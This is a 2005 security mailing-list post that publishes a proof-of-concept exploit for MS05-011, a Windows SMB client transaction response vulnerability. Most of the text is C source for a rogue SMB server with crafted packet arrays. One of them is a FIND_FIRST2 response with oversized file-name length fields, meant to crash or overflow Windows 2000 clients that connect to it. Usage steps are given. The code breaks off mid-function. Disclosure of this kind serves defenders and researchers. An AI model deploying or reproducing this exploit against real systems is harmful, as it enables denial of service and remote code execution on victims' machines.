[EXPL] Windows SMB Client Transaction Response Handling (Exploit, MS05-011)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/27/05

  • Next message: SecuriTeam: "[EXPL] Stream/raped DoS"
    To: list@securiteam.com
    Date: 27 Jun 2005 11:40:53 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Windows SMB Client Transaction Response Handling (Exploit, MS05-011)
    ------------------------------------------------------------------------

    SUMMARY

    A remote code execution vulnerability exists in Server Message Block (SMB)
    that allows an attacker who successfully exploited this vulnerable to take
    complete control of the affected system. The following exploit code
    exploits the recently reported vulnerability to execute code on vulnerable
    system.

    DETAILS

    Vulnerability details:
     <http://www.securiteam.com/windowsntfocus/5XP092KEUG.html> Vulnerability
    in Server Message Block Allows Remote Code Execution (MS05-011)
     <http://www.securiteam.com/windowsntfocus/5QP0D0UEUA.html> Windows SMB
    Client Transaction Response Handling Technical Details (MS05-011)
     <http://www.securiteam.com/windowsntfocus/5TP0D1FG0M.html> Vulnerability
    in Server Message Block Allows Remote Code Execution (MS05-027)

    Exploit:
    /*
    * Windows SMB Client Transaction Response Handling
    *
    * MS05-011
    * CAN-2005-0045
    *
    * This works against Win2k
    *
    * cybertronic[at]gmx[dot]net
    * http://www.livejournal.com/users/cybertronic/
    *
    * usage:
    * gcc -o mssmb_poc mssmb_poc.c
    * ./mssmb_poc
    *
    * connect via \\ip
    * and hit the netbios folder!
    *
    * ***STOP: 0x00000050 (0xF115B000,0x00000001,0xFAF24690,
    * 0x00000000)
    * PAGE_FAULT_IN_NONPAGED_AREA
    *
    * The Client reboots immediately
    *
    * Technical Details:
    * -----------------
    *
    * The driver MRXSMB.SYS is responsible for performing SMB
    * client operations and processing the responses returned
    * by an SMB server service. A number of important Windows
    * File Sharing operations, and all RPC-over-named-pipes,
    * use the SMB commands Trans (25h) and Trans2 (32h). A
    * malicious SMB server can respond with specially crafted
    * Transaction response data that will cause an overflow
    * wherever the data is handled, either in MRXSMB.SYS or
    * in client code to which it provides data. One example
    * would be if the
    *
    * file name length field
    *
    * and the
    *
    * short file name length field
    *
    * in a Trans2 FIND_FIRST2 response packet can be supplied
    * with inappropriately large values in order to cause an
    * excessive memcpy to occur when the data is handled.
    * In the case of these examples an attacker could leverage
    * file:// links, that when clicked by a remote user, would
    * lead to code execution.
    *
    */

    #include
    #include
    #include
    #include

    #define PORT 445

    unsigned char SmbNeg[] =
    "\x00\x00\x00\x55"
    "\xff\x53\x4d\x42" // SMB
    "\x72" // SMB Command: Negotiate Protocol (0x72)
    "\x00\x00\x00\x00" // NT Status: STATUS_SUCCESS (0x00000000)
    "\x98" // Flags: 0x98
    "\x53\xc8" // Flags2 : 0xc853
    "\x00\x00" // Process ID High: 0
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Signature: 0000000000000000
    "\x00\x00" // Reserved: 0000
    "\x00\x00" // Tree ID: 0
    "\xff\xfe" // Process ID: 65279
    "\x00\x00" // User ID: 0
    "\x00\x00" // Multiplex ID: 0
    "\x11" // Word Count (WCT): 17
    "\x05\x00" // Dialect Index: 5, greater than LANMAN2.1
    "\x03" // Security Mode: 0x03
    "\x0a\x00" // Max Mpx Count: 10
    "\x01\x00" // Max VCs: 1
    "\x04\x11\x00\x00" // Max Buffer Size: 4356
    "\x00\x00\x01\x00" // Max Raw Buffer 65536
    "\x00\x00\x00\x00" // Session Key: 0x00000000
    "\xfd\xe3\x00\x80" // Capabilities: 0x8000e3fd
    "\x52\xa2\x4e\x73\xcb\x75\xc5\x01"
    // System Time: Jun 20, 2005 12:08:32.327125000
    "\x88\xff" // Server Time Zone: /120 min from UTC
    "\x00" // Key Length: 0
    "\x10\x00" // Byte Count (BCC): 16
    "\x9e\x12\xd7\x77\xd4\x59\x6c\x40" // Server GUID: 9E12D777D4596C40
    "\xbc\xc0\xb4\x22\x40\x50\x01\xd4";// BCC0B422405001D4

    unsigned char SessionSetupAndXNeg[] = // Negotiate ERROR Response
    "\x00\x00\x01\x1b"
    "\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x04\xff\x00\x1b\x01\x00\x00\xa6\x00\xf0\x00\x4e\x54\x4c\x4d\x53"
    "\x53\x50\x00\x02\x00\x00\x00\x12\x00\x12\x00\x30\x00\x00\x00\x15"
    "\x82\x8a\xe0"
    "\x00\x00\x00\x00\x00\x00\x00\x00" // NTLM Challenge
    "\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x64\x00\x42\x00\x00\x00"
    "\x53\x00\x45\x00\x52\x00\x56\x00\x49\x00\x43\x00\x45\x00\x50\x00"
    "\x43\x00\x02\x00\x12\x00\x53\x00\x45\x00\x52\x00\x56\x00\x49\x00"
    "\x43\x00\x45\x00\x50\x00\x43\x00\x01\x00\x12\x00\x53\x00\x45\x00"
    "\x52\x00\x56\x00\x49\x00\x43\x00\x45\x00\x50\x00\x43\x00\x04\x00"
    "\x12\x00\x73\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00"
    "\x70\x00\x63\x00\x03\x00\x12\x00\x73\x00\x65\x00\x72\x00\x76\x00"
    "\x69\x00\x63\x00\x65\x00\x70\x00\x63\x00\x06\x00\x04\x00\x01\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f"
    "\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57"
    "\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
    "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20"
    "\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00";

    unsigned char SessionSetupAndXAuth[] =
    "\x00\x00\x00\x75"
    "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x4e\x57\x00\x69\x00"
    "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00"
    "\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
    "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00"
    "\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00"
    "\x65\x00\x72\x00\x00";

    unsigned char TreeConnectAndX[] =
    "\x00\x00\x00\x38"
    "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07"
    "\x00\x49\x50\x43\x00\x00\x00\x00";

    unsigned char SmbNtCreate [] =
    "\x00\x00\x00\x87"
    "\xff\x53\x4d\x42" // SMB
    "\xa2" // SMB Command: NT Create AndX (0xa2)
    "\x00\x00\x00\x00" // NT Status: STATUS_SUCCESS (0x00000000)
    "\x98" // Flags: 0x98
    "\x07\xc8" // Flags2 : 0xc807
    "\x00\x00" // Process ID High: 0
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Signature: 0000000000000000
    "\x00\x00" // Reserved: 0000
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // User ID: 0
    "\x00\x00" // Multiplex ID: 0
    "\x2a" // Word Count (WCT): 42
    "\xff" // AndXCommand: No further commands (0xff)
    "\x00" // Reserved: 00
    "\x87\x00" // AndXOffset: 135
    "\x00" // Oplock level: No oplock granted (0)
    "\x00\x00" // FID: 0
    "\x01\x00\x00\x00" // Create action: The file existed and was opened (1)
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Created: No time specified (0)
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Last Access: No time specified (0)
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Last Write: No time specified (0)
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Change: No time specified (0)
    "\x80\x00\x00\x00" // File Attributes: 0x00000080
    "\x00\x10\x00\x00\x00\x00\x00\x00" // Allocation Size: 4096
    "\x00\x00\x00\x00\x00\x00\x00\x00" // End Of File: 0
    "\x02\x00" // File Type: Named pipe in message mode (2)
    "\xff\x05" // IPC State: 0x05ff
    "\x00" // Is Directory: This is NOT a directory (0)
    "\x00\x00" // Byte Count (BCC): 0

    // crap
    "\x00\x00\x00\x0f\x00\x00\x00\x00"
    "\x00\x74\x7a\x4f\xac\x2d\xdf\xd9"
    "\x11\xb9\x20\x00\x10\xdc\x9b\x01"
    "\x12\x00\x9b\x01\x12\x00\x1b\xc2";

    unsigned char DceRpc[] =
    "\x00\x00\x00\x7c"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x44\x00\x00\x00\x00\x00\x38\x00\x00\x00\x44\x00\x38"
    "\x00\x00\x00\x00\x00\x45\x00\x00\x05\x00\x0c\x03\x10\x00\x00\x00"
    "\x44\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10"
    "\x00\x00\x00\x00" // Assoc Group
    "\x0d\x00\x5c\x50\x49\x50\x45\x5c"
    "\x00\x00\x00" // srv or wks
    "\x73\x76\x63\x00\xff\x01\x00\x00\x00\x00\x00\x00\x00\x04\x5d\x88"
    "\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00"
    "\x00";

    unsigned char WksSvc[] =
    "\x00\x00\x00\xb0"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x78\x00\x00\x00\x00\x00\x38\x00\x00\x00\x78\x00\x38"
    "\x00\x00\x00\x00\x00\x79\x00\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x78\x00\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x00\x00\x00\x00"
    "\x64\x00\x00\x00\xb8\x0f\x16\x00\xf4\x01\x00\x00\xe6\x0f\x16\x00"
    "\xd2\x0f\x16\x00\x05\x00\x00\x00\x01\x00\x00\x00\x0a\x00\x00\x00"
    "\x00\x00\x00\x00\x0a\x00\x00\x00\x53\x00\x45\x00\x52\x00\x56\x00"
    "\x49\x00\x43\x00\x45\x00\x50\x00\x43\x00\x00\x00\x0a\x00\x00\x00"
    "\x00\x00\x00\x00\x0a\x00\x00\x00\x57\x00\x4f\x00\x52\x00\x4b\x00"
    "\x47\x00\x52\x00\x4f\x00\x55\x00\x50\x00\x00\x00\x00\x00\x00\x00";

    unsigned char SrvSvc[] =
    "\x00\x00\x00\xac"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x74\x00\x00\x00\x00\x00\x38\x00\x00\x00\x74\x00\x38"
    "\x00\x00\x00\x00\x00\x75\x00\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x74\x00\x00\x00\x01\x00\x00\x00\x5c\x00\x00\x00\x00\x00\x00\x00"
    "\x65\x00\x00\x00\x68\x3d\x14\x00\xf4\x01\x00\x00"
    "\x80\x3d\x14\x00" // Server IP
    "\x05\x00\x00\x00\x01\x00\x00\x00\x03\x10\x05\x00\x9c\x3d\x14\x00"
    "\x0e\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00"
    "\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00"
    // Server IP ( UNICODE )
    "\x32\x00\x2e\x00\x31\x00\x30\x00\x33\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x55\x00"
    "\x00\x00\x00\x00";

    unsigned char SmbClose[] =
    "\x00\x00\x00\x23"
    "\xff\x53\x4d\x42" // SMB
    "\x04" // SMB Command: Close (0x04)
    "\x00\x00\x00\x00" // NT Status: STATUS_SUCCESS (0x00000000)
    "\x98" // Flags: 0x98
    "\x07\xc8" // Flags2 : 0xc807
    "\x00\x00" // Process ID High: 0
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Signature: 0000000000000000
    "\x00\x00" // Reserved: 0000
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x00" // Word Count (WCT): 0
    "\x00\x00"; // Byte Count (BCC): 0

    unsigned char NetrShareEnum[] =
    "\x00\x00\x01\x90"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x58\x01\x00\x00\x00\x00\x38\x00\x00\x00\x58\x01\x38"
    "\x00\x00\x00\x00\x00\x59\x01\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x58\x01\x00\x00\x01\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\x01\x00\x00\x00\x54\x0a\x17\x00\x04\x00\x00\x00"
    "\xa0\x28\x16\x00\x04\x00\x00\x00\x80\x48\x16\x00\x03\x00\x00\x80"
    "\x8a\x48\x16\x00\x6e\x48\x16\x00\x00\x00\x00\x00\x7e\x48\x16\x00"
    "\x48\x48\x16\x00\x00\x00\x00\x80\x56\x48\x16\x00\x20\x48\x16\x00"
    "\x00\x00\x00\x80\x26\x48\x16\x00\x05\x00\x00\x00\x00\x00\x00\x00"
    "\x05\x00\x00\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00\x36\x00"
    "\x0b\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x52\x00\x65\x00"
    "\x6d\x00\x6f\x00\x74\x00\x65\x00\x2d\x00\x49\x00\x50\x00\x43\x00"
    "\x00\x00\x37\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00"
    "\x6e\x00\x65\x00\x74\x00\x62\x00\x69\x00\x6f\x00\x73\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
    "\x07\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x41\x00\x44\x00"
    "\x4d\x00\x49\x00\x4e\x00\x24\x00\x00\x00\x00\x00\x0c\x00\x00\x00"
    "\x00\x00\x00\x00\x0c\x00\x00\x00\x52\x00\x65\x00\x6d\x00\x6f\x00"
    "\x74\x00\x65\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00\x00\x00"
    "\x03\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x43\x00\x24\x00"
    "\x00\x00\x39\x00\x11\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00"
    "\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00"
    "\x66\x00\x72\x00\x65\x00\x69\x00\x67\x00\x61\x00\x62\x00\x65\x00"
    "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

    unsigned char OpenPrinterEx[] =
    "\x00\x00\x00\x68"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x30\x00\x00\x00\x00\x00\x38\x00\x00\x00\x30\x00\x38"
    "\x00\x00\x00\x00\x00\x31\x00\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x30\x00\x00\x00\x01\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x24\xd7\x9c\xf8\xbb\xe1\xd9\x11\xb9\x29\x00\x10"
    "\xdc\x4a\x6b\xbb\x00\x00\x00\x00";

    unsigned char ClosePrinter[] =
    "\x00\x00\x00\x68"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x30\x00\x00\x00\x00\x00\x38\x00\x00\x00\x30\x00\x38"
    "\x00\x00\x00\x00\x00\x31\x00\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x30\x00\x00\x00\x02\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00";

    unsigned char OpenHklm[] =
    "\x00\x00\x00\x68"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x30\x00\x00\x00\x00\x00\x38\x00\x00\x00\x30\x00\x38"
    "\x00\x00\x00\x00\x00\x31\x00\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x30\x00\x00\x00\x01\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x4e\x4c\xb2\xf8\xbb\xe1\xd9\x11\xb9\x29\x00\x10"
    "\xdc\x4a\x6b\xbb\x00\x00\x00\x00";

    unsigned char OpenKey[] =
    "\x00\x00\x00\x68"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x30\x00\x00\x00\x00\x00\x38\x00\x00\x00\x30\x00\x38"
    "\x00\x00\x00\x00\x00\x31\x00\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x30\x00\x00\x00\x02\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x05\x00\x00\x00";

    unsigned char CloseKey[] =
    "\x00\x00\x00\x68"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x30\x00\x00\x00\x00\x00\x38\x00\x00\x00\x30\x00\x38"
    "\x00\x00\x00\x00\x00\x31\x00\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x30\x00\x00\x00\x03\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00";

    unsigned char NetBios1[] =
    "\x00\x00\x00\x94"
    "\xff\x53\x4d\x42\x25\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a\x00\x00\x5c\x00\x00\x00\x00\x00\x38\x00\x00\x00\x5c\x00\x38"
    "\x00\x00\x00\x00\x00\x5d\x00\x00\x05\x00\x02\x03\x10\x00\x00\x00"
    "\x5c\x00\x00\x00\x01\x00\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00"
    "\x01\x00\x00\x00\xc0\xa2\x16\x00\xae\xc2\x16\x00\x00\x00\x00\x00"
    "\xbe\xc2\x16\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00"
    "\x6e\x00\x65\x00\x74\x00\x62\x00\x69\x00\x6f\x00\x73\x00\x00\x00"
    "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x2e\x00"
    "\x00\x00\x00\x00";

    unsigned char NetBios2[] =
    "\x00\x00\x00\x3e"
    "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x07\xff\x00\x3e\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x0d"
    "\x00\x41\x3a\x00\x4e\x00\x54\x00\x46\x00\x53\x00\x00\x00";

    // Trans2 Response, QUERY_PATH_INFO
    unsigned char Trans2Response1[] =
    "\x00\x00\x00\x64"
    "\xff\x53\x4d\x42" // SMB
    "\x32" // SMB Command: Trans2 (0x32)
    "\x00\x00\x00\x00" // NT Status: STATUS_SUCCESS (0x00000000)
    "\x98" // Flags: 0x98
    "\x07\xc8" // Flags2 : 0xc807
    "\x00\x00" // Process ID High: 0
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Signature: 0000000000000000
    "\x00\x00" // Reserved: 0000
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a" // Word Count (WCT): 10
    "\x02\x00" // Total Parameter Count: 2
    "\x28\x00" // Total Data Count: 40
    "\x00\x00" // Reserved: 0000
    "\x02\x00" // Parameter Count: 2
    "\x38\x00" // Parameter Offset: 56
    "\x00\x00" // Parameter Displacement: 0
    "\x28\x00" // Data Count: 40
    "\x3c\x00" // Data Offset: 60
    "\x00\x00" // Data Displacement: 0
    "\x00" // Setup Count: 0
    "\x00" // Reserved: 00
    "\x2d\x00" // Byte Count (BCC): 45
    "\x00" // Padding: 00
    "\x00\x00" // EA Error offset: 0
    "\x00\x01" // Padding: 0001
    "\xe8\x35\xcf\x94\x39\x73\xc5\x01" // Created: Jun 17, 2005
    05:39:19.686500000
    "\x8c\x24\xba\x5c\x3a\x73\xc5\x01" // Last Access: Jun 17, 2005
    05:44:55.092750000
    "\xe8\x35\xcf\x94\x39\x73\xc5\x01" // Last Write: Jun 17, 2005
    05:39:19.686500000
    "\x9c\x81\x67\x98\x39\x73\xc5\x01" // Change: Jun 17, 2005
    05:39:25.717750000
    "\x10\x00\x00\x00" // File Attributes: 0x00000010
    "\x00\x00\x00\x00"; // Unknown Data: 00000000

    // Trans2 Response, QUERY_PATH_INFO
    unsigned char Trans2Response2[] = // ERROR Response
    "\x00\x00\x00\x23"
    "\xff\x53\x4d\x42\x32\x34\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x00\x00\x00";

    // Trans2 Response, FIND_FIRST2, Files: . ..
    unsigned char Trans2Response3[] =
    "\x00\x00\x01\x0c"
    "\xff\x53\x4d\x42" // SMB
    "\x32" // SMB Command: Trans2 (0x32)
    "\x00\x00\x00\x00" // NT Status: STATUS_SUCCESS (0x00000000)
    "\x98" // Flags: 0x98
    "\x07\xc8" // Flags2 : 0xc807
    "\x00\x00" // Process ID High: 0
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Signature: 0000000000000000
    "\x00\x00" // Reserved: 0000
    "\x00\x00" // Tree ID: 0
    "\x00\x00" // Process ID: 0
    "\x00\x00" // USER ID
    "\x00\x00" // Multiplex ID: 0
    "\x0a" // Word Count (WCT): 10
    "\x0a\x00" // Total Parameter Count: 10
    "\xc8\x00" // Total Data Count: 200
    "\x00\x00" // Reserved: 0000
    "\x0a\x00" // Parameter Count: 10
    "\x38\x00" // Parameter Offset: 56
    "\x00\x00" // Parameter Displacement: 0
    "\xc8\x00" // Data Count: 200
    "\x44\x00" // Data Offset: 68
    "\x00\x00" // Data Displacement: 0
    "\x00" // Setup Count: 0
    "\x00" // Reserved: 00
    "\xd5\x00" // Byte Count (BCC): 213
    "\x00" // Padding: 00
    "\x01\x08" // Search ID: 0x0801
    "\x02\x00" // Seatch Count: 2
    "\x01\x00" // End of Search: 1
    "\x00\x00" // EA Error offset: 0
    "\x60\x00" // Last Name offset: 96
    "\x38\x00" // Padding: 3800
    "\x60\x00\x00\x00" // Next Entry offset: 96
    "\x00\x00\x00\x00" // File Index: 0
    "\xe8\x35\xcf\x94\x39\x73\xc5\x01" // Created: Jun 17, 2005
    05:39:19.686500000
    "\xac\x09\x3c\xae\x39\x73\xc5\x01" // Last Access: Jun 17, 2005
    05:40:02.342750000
    "\xe8\x35\xcf\x94\x39\x73\xc5\x01" // Last Write: Jun 17, 2005
    05:39:19.686500000
    "\x9c\x81\x67\x98\x39\x73\xc5\x01" // Change: Jun 17, 2005
    05:39:25.717750000
    "\x00\x00\x00\x00\x00\x00\x00\x00" // End of File: 0
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Allocation Size: 0
    "\x10\x00\x00\x00" // File Attributes: 0x00000010
    //"\x02\x00\x00\x00" // File Name Len: 2
    "\xff\xff\xff\xff" // Bad File Name Len
    "\x00\x00\x00\x00" // EA List Length: 0
    //"\x00" // Short File Name Len: 0
    "\xff" // Bad Short File Name Len
    "\x00" // Reserved: 00
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Short File Name:
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Short File Name:
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Short File Name:
    "\x2e\x00" // File Name: .
    "\x00\x00\x00\x00" // Next Entry Offset: 0
    "\x00\x00\x00\x00" // File Index: 0
    "\xe8\x35\xcf\x94\x39\x73\xc5\x01" // Created: Jun 17, 2005
    05:39:19.686500000
    "\xac\x09\x3c\xae\x39\x73\xc5\x01" // Last Access: Jun 17, 2005
    05:40:02.342750000
    "\xe8\x35\xcf\x94\x39\x73\xc5\x01" // Last Write: Jun 17, 2005
    05:39:19.686500000
    "\x9c\x81\x67\x98\x39\x73\xc5\x01" // Change: Jun 17, 2005
    05:39:25.717750000
    "\x00\x00\x00\x00\x00\x00\x00\x00" // End Of File: 0
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Allocation Size: 0
    "\x10\x00\x00\x00" // File Attributes: 0x00000010
    "\x04\x00\x00\x00" // File Name Len: 4
    "\x00\x00\x00\x00" // EA List Length: 0
    "\x00" // Short File Name Len: 0
    "\x00" // Reserved: 00
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Short File Name:
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Short File Name:
    "\x00\x00\x00\x00\x00\x00\x00\x00" // Short File Name:
    "\x2e\x00\x2e\x00" // File Name: ..
    "\x00\x00\x00\x00\x00\x00"; // Unknown Data: 000000000000

    int
    check_interface ( char* str )
    {
    int i, j, wks = 0, srv = 0, spl = 0, wrg = 0, foo = 0;

    //Interface UUID
    unsigned char wks_uuid[] =
    "\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x7e\x34\x5a";
    unsigned char srv_uuid[] =
    "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88";
    unsigned char spl_uuid[] =
    "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab";
    unsigned char wrg_uuid[] =
    "\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03";

    for ( i = 0; i < 16; i++ )
    {
    j = 0;
